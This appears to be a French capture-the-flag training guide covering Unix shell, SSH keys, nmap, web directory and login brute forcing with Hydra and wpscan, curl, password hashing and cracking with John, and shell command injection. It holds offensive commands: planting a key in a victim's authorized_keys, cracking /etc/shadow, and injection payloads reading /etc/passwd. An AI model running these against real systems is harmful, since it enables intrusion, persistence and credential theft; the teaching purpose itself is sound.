Shell

ls        : afficher le contenu du répertoire courant
ls -l     : afficher le contenu du répertoire courant, avec des info sur les droits des fichiers
ls -l xxx : afficher les droits du fichier xxx
ls -al    : afficher le contenu du répertoire courant, y compris les fichiers cachés
cat xxx   : afficher le contenu du fichier xxx
pwd       : répertoire courant
cd xxx    : se déplacer dans le répertoire xxx
cd ..     : se déplacer vers le répertoire parent
id        : identifiant du compte et groupes auquel il appartient
uname -a  : informations sur le serveur: quelle distribution et version du kernel.

Quelques flags sont accessibles dans ton terminal.
Tu peux commencer dans le répertoire /home/yolo/flags avant d'étendre à tout ton système.
C'est l'occasion de mettre en pratique les commandes détaillées dans ce chapitre. Et puisque tu lis la doc, c'est cadeau : Flag_rtfm_shell

cd ~/flags

Le système de fichier Unix part de la racine : /
Il contient généralement les répertoires:

/home/xxx : un répertoire par compte utilisateur xxx
~        : votre répertoire utilisateur
/root    : le répertoire de l'administrateur
/tmp     :  fichiers temporaires
/bin     : commandes systèmes
/etc     : fichiers de configuration du système
/var/log : logs des programmes comme le serveur web
/var/www : emplacement par défaut des fichiers des serveurs web
/etc/passwd : liste des comptes de la machine
/etc/hosts : le nom de la machine et ses alias
SSH

Les connections aux serveurs se font en ssh.
Soit avec un login/password

ssh user@hostname

Soit avec un fichier de clef privée

ssh -i id_rsa user@hostname

Sur les serveurs, il est fréquent de s'identifier avec une clef privée plutôt qu'un mot de passe. Vos clefs se trouvent en :

$ ls -al ~/.ssh
total 20
drwx------  2 yolo yolo 4096 Apr  4 13:47 .
drwxr-xr-x 27 yolo yolo 4096 Apr  4 13:22 ..
-rw-------  1 yolo yolo 2610 Apr  4 13:47 id_rsa
-rw-r--r--  1 yolo yolo  575 Apr  4 13:47 id_rsa.pub
-rw-r--r--  1 yolo yolo 1998 Apr  1 19:45 known_hosts

Les clefs privées permettant de se connecter à votre compte sont dans le fichier :

~/.ssh/authorized_keys

Générer une paire de clef privée/publique:
Taper juste [entrée] à (empty for no passphrase) pour générer une clef privée sans mot de passe. Si vous saisissez un mot de passe, votre clef sera chiffrée, et vous devrez taper le mot de passe à chaque utilisation.

$ ssh-keygen -t rsa -b 4096 -C yolo@yoloctf.org -f id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:OSHYGRwrI7LM9/8haFfVXgBlXrdHcdfEZxIv9CeWg5Q yolo@yoloctf.org
The key's randomart image is:
+---[RSA 4096]----+
|     .o.   .+=o*O|
|     o.+   .Eo+=X|
|. . + = .  ..o*=*|
|oo . o . o. ...+o|
|.o .    S.   .   |
|  . . . ..       |
|     + o .       |
|    . o . .      |
|       ...       |
+----[SHA256]-----+

Le fichier de clef privée ne doit être lisible que par son propriétaire.
Si besoin faire : chmod 600 id_rsa.

vagrant@kali:/home/yolo/tmp$ ls -al
total 16
drwxrwxrwx  2 yolo      yolo   4096 Apr  4 13:24 .
drwxr-xr-x 27 yolo      yolo   4096 Apr  4 13:22 ..
-rw-------  1 yolo      yolo   3381 Apr  4 13:24 id_rsa
-rw-r--r--  1 yolo      yolo    742 Apr  4 13:24 id_rsa.pub

Les entêtes de clef privées sont caractéristiques

$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
7KrJLvv/4Ve+Dm5bLwhJ9BkLessiIlGgx0ju+ghI7V+Ar+qAhir5chpVSGH4YIk0J8VDbJ
...
O9mUtgl8PKUd5AQL6sMM/FaYffu7+OFQkJzv3hxyiFEQPhsAo2K55cG8S0RWCX9Jp96U54
lOXLj6MfGkfzuvvFS4pm9iTBrwKq8h7CubmNOnHe3TH3U/Mrzf6wq8MwAEpSeTWfnBGdRP
tHOBQdCIQj3JAAAAEHlvbG9AeW9sb2N0Zi5vcmcBAg==
-----END OPENSSH PRIVATE KEY-----

Entête d'une clef privée protégée par mot de passe:

$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D

NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76

La clef publique associée :

$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQAxxxxx8/QoN3NBob3zs4l2mfZWkZNAtCHN2CpQ== yolo@yoloctf.org

Une fois le mot passe d'une clef privée trouvé avec John, il est possible de l'enlever pour se simplifier la vie.

openssl rsa -in [id_rsa_sec] -out [id_rsa]

Les clefs publiques permettant de se connecter en ssh sont listées, une clef par ligne, dans le fichier.

~/.ssh/authorized_keys

Une fois sur un compte utilisateur d'un serveur, injectez votre clef publique pour avoir un accès direct en ssh.

echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys

Si le répertoire n'existe pas, il suffit de le créer:

mkdir /home/victim/.ssh
chmod 700 /home/victim/.ssh
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys

Laissez tomber votre webshell, et revenez en ssh:

ssh -i id_rsa_yolo victim@target.com

Network

Une adresse IP (avec IP pour Internet Protocol) est un identifiant, qui est attribuée, de façon permanente ou provisoire, à chaque machine relié à un réseau informatique (PC, téléphone, smart TV, objet connecté,...).

Les adresses IPv4 (version 4) sont codées sur 32 bits. Elles sont généralement représentées en notation décimale avec quatre nombres compris entre 0 et 255, séparés par des points. Exemple : 172.16.254.1

Un serveur possède autant d'adresses que de cartes réseaux. Certaines adresses ont une utilisation réservée:

  • 127.0.0.1, appelée loopback désigne notre serveur.
  • 0.0.0.0, désigne l'ensemble des adresses IP de notre serveur.


Sous-réseau Les premiers bits de l'adresse IP précisent le numéro du réseau, les suivants le numéro de l'hôte. Le nombre de bits du réseau est précisé par le masque de réseau:

  • 10.10.0.0/16 => Réseau 10.10.x.x, il y a 65534 machines adressables sur ce réseau.
  • 10.10.10.0/24 => Réseau 10.10.10.x, il y a 254 machines adressables sur ce réseau.

Quand nous scannons 10.10.10.1/24, nous testons toutes les adresses de 10.10.10.1 à 10.10.10.255


192.168.X.X/16, 172.16.0.0/12 et 10.X.X.X/8

Les adresses 192.168.X.X/16, 172.16.0.0/12 et 10.X.X.X/8 sont réservées pour les réseaux locaux. Vous ne devez pratiquer de scans et des exploits que sur des machines joignables sur ces plages d'adresses.

Article sur Wikipedia: https://fr.wikipedia.org/wiki/Adresse_IP


$ ip addr

1: lo:  mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 
   loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 
   inet 127.0.0.1/8 scope host lo 
   valid_lft forever preferred_lft forever 
73: eth1@if74:  mtu 1500 qdisc noqueue state UP group default 
   link/ether 02:42:0a:0a:0a:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0 
   inet 10.10.10.3/24 brd 10.10.10.255 scope global eth1 
   valid_lft forever preferred_lft forever 

$ ifconfig 

eth0: flags=4163  mtu 1500 
   inet 10.10.0.2  netmask 255.255.255.0  broadcast 10.10.0.255 
   ether 02:42:0a:0a:00:02  txqueuelen 0  (Ethernet) 
   RX packets 7567  bytes 573298 (559.8 KiB)
   RX errors 0  dropped 0  overruns 0  frame 0
   TX packets 7073  bytes 4046236 (3.8 MiB)
   TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163  mtu 1500
   inet 10.10.10.3  netmask 255.255.255.0  broadcast 10.10.10.255
   ether 02:42:0a:0a:0a:03  txqueuelen 0  (Ethernet)
   RX packets 15569  bytes 2618290 (2.4 MiB)
   RX errors 0  dropped 0  overruns 0  frame 0
   TX packets 20985  bytes 1976399 (1.8 MiB)
   TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Network Discovery

Utiliser nmap pour identifier les serveurs sur le sous-réseau 10.10.10.4/24

# nmap 10.10.10.4/24
# nmap 10.10.10.1-255
# nmap 10.10.10.4
# nmap -A  10.10.10.4          : Scan les 1000 ports les plus utilisés. Cherche les versions des services et l'OS
# nmap -sV -sC -p- 10.10.10.4  : scan les 655535 ports TCP et cherche les versions des services ouverts. 
# nmap -sU 10.10.10.4          : scan des ports UDP (trés trés lent)
    -sV : Tente d'identifier la version du service
    -sC : Scanne avec les scripts NMap par défaut. Les scripts considérés comme sans risque.
    -A  : Tente de détecter la version de l'OS, la version des services, utilise les scripts par défaut, et réalise un traceroute
    -p- : Scanne les 65535 ports TCP
    -sU : Scanne les ports UDP (trés long)
    -oN nmap.log : output file

On peut lancer ces trois commandes dans trois shells en parallèle.

Les services de type ftp, web, ldap tournent peuvent fonctionner sur n'importe quel port, mais utilisent généralement les ports qui leur sont réservés. Le port 80 par exemple est le port utilisé par les serveurs web pour HTTP. Le port 443 est le port pour HTTPS.

TCP
    20: ftp data
    21: ftp control
    22: ssh
    23: telnet
    25: SMTP (mail)
    37: Time protocol
    53: Bind/DNS
    69: TFTP (Trivial FTP)
    80: HTTP
    109: POP2
    110: POP3
    111: RPC Remote Procedure Call
    137: Netbios Name Service
    138: Netbios Datagram Service
    139: Netbios Session Service
    143: IMAP (mail)
    161: SNMP
    220: IMAP
    389: LDAP
    443: HTTPS
    445: MS Active Directory, SMB
    464: Kerberos
    1521: Oracle Database
    3000: Node JS
    3306: MySQL
UDP
    69: TFTP
    161: SNMP

http://www.0daysecurity.com/penetration-testing/enumeration.html 

Le fichier robots.txt, quand il existe, est enregistré à la racine d'un site web. Il contient une liste des ressources du site qui ne sont pas censées être indexées par les robots d'indexation des moteurs de recherche.
Par convention, les robots consultent robots.txt avant d'indexer un site Web.
Son contenu peut donc nous interresser.

http://10.10.10.8/robots.txt

Plus d'info : https://fr.wikipedia.org/wiki/Protocole_d%27exclusion_des_robots

Les développeurs laissent parfois des informations utiles, voire des mots de passe dans les commentaires du code. Ce sont souvent des urls,ou des champs de formulaires utilisés pour les tests.

Commentaires dans le code source HTML ou JS de la page
/* Secret code */
<!--- Secret code --->
Elements HTML cachés
<p hidden>Secret code.</p>
<label style='display: none'>Secret code.</label>

Bruteforcer un site web consiste à tester la présence de pages accessibles, telles /register, /register.php, /admin, /upload, /users/login.txt, /admin/password.sav, ... Pour celà il existe des listes de répertoires et de noms de fichiers fréquemment présents sur les serveurs web.

Une fois la techno du serveur connue (php, java, wordpress, joomla, ...) il est possible d'utiliser des listes optimisées, et ne chercher que les extensions adaptées: php, php4, php5, exe, jsp, ...
Il est aussi possible de chercher des fichiers aux extensions intéressantes : cfg, txt, sav, jar, zip, sh, ...


Logiciels de brute force usuels :

  • dirb : Ligne de commande. A utiliser pour un check rapide avec sa liste 'common.txt'.
  • gobuster : Ligne de commande. A utiliser avec la liste 'directory-list-2.3-medium.txt' de dirbuster
  • dirbuster : Interface graphique. Visuel mais pas forcément le meilleur choix

Il est crucial de bien choisir la liste de répertoires/noms de fichiers:

  • /usr/share/wordlists/dirb/common.txt : petite liste bien construite
  • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt : grosse liste. Normalement couvre tous les CTF.
  • https://github.com/danielmiessler/SecLists : Une fois à l'aise avec les deux listes précédentes, il est possible de trouver des listes plus optimisées sur ce git.
  • Sur les distribution Kali et Parrot, le répertoire /usr/share/wordlists contient des liens vers de nombreuses listes. Prenez le temps de le regarder en détail.


Dirb

Dirb est préinstallé sur Kali ou Parrot. Si ce n'est pas le cas:

sudo apt-get install -y dirb

Lancer un scan rapide avec dirb, qui va utiliser sa liste 'common.txt':

dirb 10.10.10.11


Gobuster
https://github.com/OJ/gobuster

Le télécharger et l'installer en /opt

wget https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z
sudo apt install p7zip-full
7z x gobuster-linux-amd64.7z
sudo cp gobuster-linux-amd64/gobuster /opt/gobuster
chmod a+x /opt/gobuster

Bruteforce le site http://10.10.10.11, avec la liste directory-list-2.3-medium.txt, avec des extensions de fichier html,php,txt

/opt/gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.11  -l -x html,php,txt

Pour une url en HTTPS, ajouter l'option de ligne de commande

-k : skip HTTPS ssl verification
Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt  -f 10.10.10.157 http-get /monitoring
-p login 
-P password file 
-f server adress
http-get : HTTP request type
/monitoring : url path
Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.11 http-post-form '/admin/login.php:username=^USER^&password=^PASS^:F=Wrong password:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V

Attention si la réponse est un 302 Redirect, hydra ne va pas suivre et va générer un faux positif.

Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.4 http-get-form '/login.php:username=^USER^&password=^PASS^:F=Login failed:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V

Attention si la réponse est un 302 Redirect, hydra ne va pas suivre et va générer un faux positif.

Wordpress

Format des urls

Posts : /index.php?p=22
        /index.php/2017/04/12/hello-world/
        /index.php/jobs/apply/8/
Login : /wp-login/
        /wp-login.php
Uploaded files : /wp-content/uploads/%year%/%month%/%filename%

Fichier de config, et credentials de la base de donnée

/var/www/html/   
wordpress/wp-config.php
wordpress/htdocs/wp-config.php
Wpscan

Wpscan connait la structure d'un site wordpress et va faire du brute force pour identifier les pages, le posts, les users, le thème, les plugins.
Les failles de wordpress viennent essentiellement des plugins non mis à jour.

wpscan --url http://10.10.10.10/wordpress/ -e
--url : url de la page wordpress.
-e : énumeration

Brute force du login

wpscan --url http://10.10.10.10/wordpress/  -P rockyou.txt -U admin

Si vous avez les identifiants et mots de passe. Se connecter avec le client mysql.

mysql --host=HOST -u USER -p
--host=précise le nom du serveur
-u le login
-p force la saisie du mot de passe.

Dumper le contenu de la base.

show databases; -- Liste les bases de données. 
                -- La base 'information_schema' contient des informations internes à mysql ou mariadb. On peut généralement l'ignorer.
use DATABASE;
show tables;    -- Liste les tables
SELECT * FROM TABLENAME;

HTTP

Le protocole HTTP est utilisé par les navigateurs web pour obtenir des documents hébergés par les serveurs.
Le navigateur se connecte en TCP à un serveur, sur le port 80 par défaut.
La requête minimale contient une commande (ici GET), une URL (/hello.txt), une ligne vide.

GET /hello.txt

La réponse contient directement le fichier.

Hello world
$ printf 'GET /hello.txt \n\r\n' | nc localhost 8001

La version 1.1 du protocole HTTP est optimisée pour transférer des pages HTML complexes, et permet de négocier la langue et les formats d'encodages.
La requête minimale contient une commande (GET), une url (/hello.txt), la version (HTTP/1.1), le champ Host, une ligne vide.

GET /hello.txt HTTP/1.1
Host: 10.10.10.11 80

La réponse contient une entête composée de nombreux champs (server, date,...), la longueur du contenu (13), et le contenu sous forme de texte.

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15+
Date: Thu, 26 Dec 2019 17:06:12 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 13

Hello world

Les headers de la réponse sont des mines d'information sur le serveur, sa version...
Ici un serveur Apache en version 0.8.4 qui éxécute des scripts avec un interpréteur php en version 7.3.13.

HTTP/1.1 200 OK
Server: Apache/0.8.4
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.13
$ printf 'GET / HTTP/1.1\r\nHost: localhost 8001\r\n\r\n' | nc localhost 8001

Code de réponse HTTP

    1xx informational response – the request was received, continuing process
    2xx successful – the request was successfully received, understood, and accepted
        200 OK
    3xx redirection – further action needs to be taken in order to complete the request
        301 Moved Permanently => Redirection
        304 Not Modified
    4xx client error – the request contains bad syntax or cannot be fulfilled
        400 Bad request
        401 Unauthorized
        403 Forbidden
        404 Not found
    5xx server error – the server failed to fulfil an apparently valid request
        500 Internal Server Error
        502 Bad Gateway - The server was acting as a gateway or proxy and received an invalid response from the upstream server
        503 Service Unavailable - The server cannot handle the request (because it is overloaded or down for maintenance)
        504 Gateway Timeout - The server was acting as a gateway or proxy and did not receive a timely response from the upstream server.
    https://en.wikipedia.org/wiki/List_of_HTTP_status_codes

Télécharger un fichier :

$ wget http://localhost:8001/

Afficher le contenu de la réponse :

$ curl http://localhost:8001/

Afficher les headers, la requête et le contenu de la réponse :

$ curl -v http://localhost:8001/

Les headers HTTP sont standardisés et sont riches en information.

  • Host: Précise le site web destinataire de la requète.
  • Referer: Adresse de la page web qui a généré la requète.
  • User-Agent: Navigateur utilisé pour se connecter.

Il est possible d'ajouter des headers personnels, tel 'X-MyHeader: value'

GET / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
X-MyHeader: value

Pour ajouter un header avec curl : -H 'header: valeur'

$ curl -H 'X-MyHeader: value' http://localhost:8001

L'URI permet de précider une ressource, et d'ajouter des paramètres.
Le premier paramètre est identifié par un ?, les suivants par un &.
Si les paramètres contiennent des ? ou des &, ils sont encodés sous la forme %3F et %26. On parle de Percent (%) encoding.
https://fr.wikipedia.org/wiki/Percent-encoding

Exemple:

$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'

Le shell unix utilisant le & pour lancer des taches en arrière plan, il est impératif de mettre l'URL entre '.

HTTP dispose d'une fonctionnalité d'authentification basique. Il est possible ajouter un champ contenant un identifiant et un mot de passe en clair.
Ces informations sont mise sous la forme login:password, puis encodées en base64, et ajoutées dans l'entête de la requête:
Authorization: Basic bG9naW46cGFzc3dvcmQ=

Exemple:

GET /hello.txt HTTP/1.1
Host: localhost:8001
Authorization: Basic bG9naW46cGFzc3dvcmQ=
User-Agent: curl/7.58.0
Accept: */*

Pour envoyer une requête avec des informations d'authentification avec curl:

$ curl -u login:password http://localhost:8001/hello.txt

Pour encoder un login:password dans le terminal

$ printf 'login:password' | base64
bG9naW46cGFzc3dvcmQ=

Pour décoder du base64 dans le terminal

$ printf 'bG9naW46cGFzc3dvcmQ=' | base64 -d
login:password

Pour tester une liste de mots de passe:

for i in `cat rockyou.txt`; do printf \n$i:; curl  -u admin:$i http://12.10.1.11/training-http-auth-simple.php; done

Quand une page web comporte un formulaire, elle peut envoyer le contenu des champs avec la méthode GET dans les paramètres de l'URL, ou avec la méthode POST dans le corps de la requète.

Les valeurs en paramètres du GET apparaissent dans les logs, et sont limités en longueur.
Les valeurs en paramètres du POST n'apparaissent pas dans les logs, et ne sont pas limités en longueur. Il est ainsi possible d'uploader de gros fichiers.
Ces paramètres sont encodés avec le format 'Percent encoding'.
Exemple:

POST /login.php HTTP/1.1
Host: 10.10.1.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

login=James&password=007

Poster un formulaire avec curl:

$ curl -X POST -F 'username=admin' -F 'password=megapassword'  http://localhost:8001/

Les formulaires sont des objets HTML de base, définis par les balises <form> et </form>
<input name='xxx'>: Nom des champs de type texte.
<form action='xxx': URL a laquelle sera envoyé le formulaire. Si le champ est vide, le formulaire est envoyé à la URL.
Exemple:

<form action="/action_page.php"> 
  First name: <input type="text" name="firstname" value="Mickey">
  Last name:  <input type="text" name="lastname" value="Mouse">
  <input type="submit" value="Submit"> 
</form> 

Poster un formulaire avec curl:

$ curl -X POST -F 'firstname=Mickey' -F 'lastname=Mouse'  http://12.10.1.11/action_page.php

Les pages web comportant des formulaires utilisent généralement la commande POST, mais elles peuvent aussi utiliser une commande GET.
Dans ce cas, la valeur des paramètres sont directement passés comme argument dans la requète.
Ne pas oublier de mettre l'url entre 'cotes'
Exemple:

$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'

Dans les formulaires élaborés, les données sont validées en Java Script avant d'être envoyées, au bon format au serveur.
JavaScript utilise nativement le format JSON pour envoyer des structures de données structurées.
Exemple: {key1:value1, key2:value2}.
Dans ce cas, l'entête Content-Type précise le type de données: Content-Type: application/json

Exemple:

POST / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
Content-Type: application/json
Content-Length: 34

{"key1":"value1", "key2":"value2"}

Curl :

$ curl --header "Content-Type: application/json" -X POST --data  '{"key1":"value1", "key2":"value2"}' http://10.10.1.11/

Les formulaires sont généralement utilisés pour s'enregister, se connecter ou d'uploader des fichiers.
Des contrôles sur les fichiers uploadés peuvent être fait en javascript sur le client, ou sur le serveur.
On vérifie souvent la taille, le nom, l'extension du fichier, et parfois son header.
Un chapitre entier du guide est dédié à l'upload de nos shells.

Un champ de type Fichier est caractérisé par le code HTML

<input type=file name=fileToUpload>:

Commande curl

curl -X POST -F 'fileToUpload=@./picture.jpg' http://10.10.1.11/upload

Les cookies servent à stocker des valeurs sur le navigateur qui seront reutilisées entre deux sessions.
Ils peuvent contenir des choix de langue, couleurs, et parfois d'authentification...

Lire les cookies envoyés par le serveur et les stocker dans un cookie jar.

$ curl  -c cookies.txt http://10.10.1.11/cookies.php

Envoyer un cookie sauvegardé, et sauver la nouvelle valeur

$ curl -b cookies.txt -c cookies.txt http://10.10.1.11/cookies.php

Envoyer un cookie manuellement

$ curl -b 'code=1447' http://10.10.1.11/cookies.php

Passwords

Quand il faut choisir un mot de passe, ça tombe toujours au plus mauvais moment.
Et comme, en plus, il faut s'en souvenir... les mots de passe sont souvent basés sur des notions simples: prénom, marque, souvenir...

Heureusement, les responsables de la sécurité imposent des politiques de gestion des mots de passe, conçues pour éviter ces dérives...
Enfin, il faut le dire vite ;)
Dans 90% des cas, la majuscule est en début de mot de passe, les chiffres et le caractère spécial à la fin...
Evitez d'utiliser Vacances12! comme mot de passe...

RockYou, une société basée en Californie, permettait de s'authentifier sur des application facebook sans avoir à saisir de mots de passe. En décembre 2009, elle s'est fait hacker.

La base de données contenant les noms et mots de passe en clair de ses 32 millions de clients a été volée puis rendue publique.
Une analyse des mots de passe à montré que les deux tiers des mots de passe faisaient moins de 6 caractères, et que le mot de passe le plus utilisé était 123456.

Cette liste des mots de passes, triés par fréquence est fréquement utilisée dans les CTF.
Sur Kali, le fichier, zippé, est rangé en : /usr/share/wordlists/rockyou.zip
Dans le terminal, pour prendre de bonnes habitudes, le fichier est rangé en : /usr/share/wordlists/rockyou.txt

fichier de mots de passe Rockyou: rockyou.txt

Pour savoir si ton adresse email est présente dans une fuite de donnée, tu peux utiliser le service de Firefox Monitor.
https://monitor.firefox.com/

Un professionnel ne garde jamais un mot de passe en clair.
Il enregistre un Hash.

Un Hash est généré par une fonction mathématique à partir du mot de passe de l'utilisateur.
Quand l'utilisateur saisit son mot de passe, le logiciel calcule le Hash et le transmet au serveur qui le compare avec le Hash qu'il a stocké. Si les deux Hash coincident, alors l'utilisateur connait le mot de passe, et est authentifié.
Si un curieux sniffe les messages, il ne verra pas le mot de passe, juste le Hash.
Connaissant le Hash, il est compliqué de retrouver le mot de passe.

Pour calculer un Hash du mot de passe '123456' avec la fonction MD5, utilise la commande suivante dans le terminal :
$ printf '123456' | md5sum
123456 donnera toujours le même Hash MD5.

La fonction MD5 a été très utilisée par le passé, mais la puissance des processeurs actuels impose l'utilisation de fonctions plus complexes à craquer comme SHA1, SHA256 ou SHA512.
La taille du Hash augmente avec la complexité de l'algorithme.

printf '123456' | sha1sum
7c4a8d09ca3762af61e59520943dc26494f8941b

printf '123456' | sha256sum
8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92

Note: on utilise 'printf' et pas 'echo' pour un calcul de Hash. Echo ajoute un saut de ligne qui est pris en compte par le Hash.

Les Hash plus longs sont plus compliqués à casser, mais il est toujours possible de pré-calculer les valeurs de listes comme RockYou.

Pour éviter le précalcul des Hash, nous utilisons des Salts.
Ce sont des valeurs supplémentaires que l'on ajoute au début du mot de passe avant de calculer le Hash.
La vérification du Hash reste rapide, mais les tables pré-calculées deviennent inutiles, il faut les recalculer pour chaque Salt.

Calculer le hash de 123456 avec le Salt ABCDE et la fonction de Hash MD5 en python:

$ python3 -c "import crypt; print(crypt.crypt('123456', '$1$ABCDE$'))"

Avec openssl: -1: MD5 password, -5:SHA256 and -6:SHA512

$ openssl passwd -1 -salt ABCDE  123456

Le résultat est : $1$ABCDE$Kn5RIMYO1QXy7GtJysNSC1
Il est composé de 3 champs :
$1 : la fonction utilisée est MD5 ($5 SHA256, $6 SHA512)
$ABCDE : le Salt
$Kn5RIMYO1QXy7GtJysNSC1 : le Hash calculé en ajoutant le Salt

Use online services to crack hash:

Try: e10adc3949ba59abbe56e057f20f883e

Le fichier /etc/passwd est un fichier texte dont chaque ligne décrit un compte d'utilisateur.
Chaque ligne se compose de sept champs séparés par un deux-points.
Voici un exemple d'un enregistrement :

jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)5550044,email:/home/jsmith:/bin/sh

Les champs, de gauche à droite, sont :

  • jsmith : le nom de l'utilisateur (login name).
  • x : un x signifie que le hash du mots de passe est stocké, dans le fichier /etc/shadow qui n'est lisible que par le compte 'root'. Un * empêche les connexions d'un compte tout en conservant son nom d'utilisateur. Dans les premières version d'unix, ce champ contenait le hachage cryptographique du mot de passe de l'utilisateur.
  • 1001 : l'identifiant d'utilisateur.
  • 1000 : l'identifiant de groupe. Un nombre qui identifie le groupe principal de l'utilisateur.
  • Joe Smith,Room 1007,(234)555-8910,(234)5550044,email : le champ Gecos. Un commentaire qui décrit la personne ou le compte. Généralement, il s'agit d'un ensemble de valeurs séparées par des virgules, fournissant le nom complet de l'utilisateur et ses coordonnées.
  • /home/jsmith : le chemin vers le répertoire personnel de l'utilisateur.
  • /bin/sh : le programme qui est lancé chaque fois que l'utilisateur se connecte au système. Peut être nologin.

Les premières lignes du fichier sont généralement des comptes systèmes.
Les comptes utilisateurs sont souvent décrits dans les dernière lignes.
Ce fichier permet d'identifier rapidement les utlisateurs, les applications (tomcat, mysql, www_data,...), leurs répertoires de travail, et s'ils ont ou non accès à un shell.
Article sur Wikipedia: https://fr.wikipedia.org/wiki/Passwd

John The ripper permet de vérifier si un hash correspond à un mot de passe présent dans une liste.

Enregistrer un ou plusieurs Hash dans le fichier hash.txt

$ echo 'root:$1$1337$WmteYFHyEYyx2MDVXln7Y1' >hash.txt
$ echo 'wordpressuser1:$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0' >>hash.txt

Utiliser John the ripper pour casser le mot de passe en se servant sa liste de mots de passe interne:

$ john hash.txt

Utiliser John the ripper pour casser le mot de passe en se servant de la liste Rockyou:

$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt

John n'affiche plus les mots de passe qu'il a déjà cassé.
Pour afficher ces mots de passe:

$ john hash.txt --show 

Il existe plusieurs version de John sur Internet. Les distributions Kali et Parrot, installent la version John Community Enhanced -jumbo. Cette distribution est disponible en https://github.com/openwall/john

$ sudo snap install john-the-ripper
$ john
John the Ripper 1.9.0-jumbo-1 OMP [linux-gnu 64-bit 64 AVX2 AC]

Bruteforcer /etc/shadows avec John:

$ unshadow /etc/passwd /etc/shadow > hash.txt  
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt 
$ john hash.txt --show 

Bruteforcer un hash My SQL avec John:

mysql -u dbuser -p drupaldb 
 show databases; 
 show tables; 
 select name, pass from users; 
 exit 
 -------+---------------------------------------------------------+ 
 | name  | pass                                                    | 
 +-------+---------------------------------------------------------+ 
 |       |                                                         | 
 | admin | $S$DvQI6Y6xxxxxxxxxxxxxxxxxxxxxxxxxEDTCP9nS5.i38jnEKuDR | 
 | Fxxxx | $S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg | 
 | ..... | $S$Drpxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/x/4ukZ.RXi | 
 +-------+---------------------------------------------------------+ 

echo '$S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg'>hash.txt 
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt 
$ john hash.txt --show 

Bruteforce a pasword protected id_rsa id (id used for ssh connections):

RSA header:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D

NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76

Let check if the password is in the Rockyou list.
$ python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash $ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash $ john hash.txt --show

Injection de commandes Shell

L'injection de commande Shell est possible quand un programme utilise une donnée, entrée par l'utilisateur, sans la filtrer, comme argument d'une commande shell.

Par exemple: un formulaire permet de saisir son nom et l'afficher. Le code coté serveur va ressembler à:

system ('echo '.$NAME);

Si nous saisissons:

YOLO; cat /etc/password;

Le serveur va enchainer les deux commandes en executant:

system ('echo YOLO; cat /etc/password;'); 

Nous allons récupérer le contenu du fichier passwd.

Avec une injection de commande nous avons la main sur le serveur. Nous pouvons récupérer des informations sur le serveur (uname -a), recupérer des noms de comptes (cat /etc/passwd), récupérer les fichiers de config du serveur web, lancer un reverse shell...

Utiliser les séparateurs de commandes ; && | ||

echo YOLO; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd    Seulement si la première commande est en echec

Il est possible de forcer l'execution d'une commande avec ` $ et {

echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}

